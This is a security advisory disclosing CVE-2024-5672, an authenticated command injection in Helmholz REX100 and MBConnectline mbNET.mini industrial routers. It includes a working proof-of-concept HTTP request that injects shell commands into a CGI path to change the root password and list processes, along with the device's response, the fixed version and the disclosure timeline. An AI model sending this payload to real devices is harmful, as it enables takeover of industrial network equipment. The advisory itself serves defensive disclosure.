Helmholz Industrial Router REX100 / MBConnectline mbNET.mini 2.2.11 Command Injection

`CyberDanube Security Research 20240703-0  
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title| Authenticated Command Injection  
product| Helmholz Industrial Router REX100  
| MBConnectline mbNET.mini  
vulnerable version| <= 2.2.11  
fixed version| 2.2.13  
CVE number| CVE-2024-5672  
impact| High  
homepage| https://www.helmholz.de/  
| https://mbconnectline.com/  
found| 2024-05-08  
by| S. Dietz (Office Vienna)  
| CyberDanube Security Research  
| Vienna | St. Pölten  
|  
| https://www.cyberdanube.com  
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Vendor description  
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"Helmholz is your specialist when it comes to sophisticated products for your  
automation projects. With current, clever system solutions from Helmholz, the  
high demands placed on industrial networks in times of increasing automation  
can be met both reliably and efficiently - including a high level of operating  
convenience. The broad product spectrum ranges from a decentralized I/O system  
to switches and repeaters, gateways, a NAT gateway/firewall and secure IoT  
remote machine access."  
  
Source: https://www.helmholz.de/en/company/about-helmholz/  
  
Vulnerable versions  
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Helmholz Industrial Router REX100 <= 2.2.11  
MBConnectline mbNET.mini <= 2.2.11  
  
  
Vulnerability overview  
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1) Authenticated Command Injection (CVE-2024-5672)  
A command injection was identified on the webserver. This vulnerability can  
only be exploited if a user is authenticated on the web interface. This way,  
an attacker can invoke commands and is able to get full control over the whole  
device.  
  
  
Proof of Concept  
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1) Authenticated Command Injection (CVE-2024-5672)  
The following GET request changes the password for the root user and returns  
the process list of the device.  
  
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GET /cgi-bin/ping;echo$IFS'root:password'|chpasswd;ps;.sh HTTP/1.1  
Host: 192.168.25.11  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Authorization: Basic aGVsbWhvbHo6cm91dGVy  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
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HTTP/1.0 200 OK  
This is haserl version 0.8.0  
This program runs as a cgi interpeter, not interactively.  
Bug reports to: Nathan Angelacos <[email protected]>  
  
  
Password for 'root' changed  
PID USER VSZ STAT COMMAND  
1 root 2292 S init  
2 root 0 SW [kthreadd]  
3 root 0 SW [ksoftirqd/0]  
4 root 0 SW [events/0]  
5 root 0 SW [khelper]  
8 root 0 SW [async/mgr]  
[...]  
  
  
Solution  
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Update to latest version: 2.2.13  
  
  
Workaround  
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None  
  
Recommendation  
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CyberDanube recommends Helmholz customers to upgrade the firmware to the latest  
version available and to restrict network access to the management interface of  
the device.  
  
Contact Timeline  
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2024-05-15: Contacting Helmholz via [email protected].  
2024-05-15: Receiving security contact for MBConnectline.  
2024-05-21: Contact stated they are working on a fix.  
2024-06-13: Received advisory from contact and assigned CVE number.  
2024-07-01: Contact sends out final release date.  
2024-07-03: Coordinated release of advisory with CERT@VDE.  
  
  
Web: https://www.cyberdanube.com  
Twitter: https://twitter.com/cyberdanube  
Mail: research at cyberdanube dot com  
  
EOF S. Dietz / @2024  
  
  
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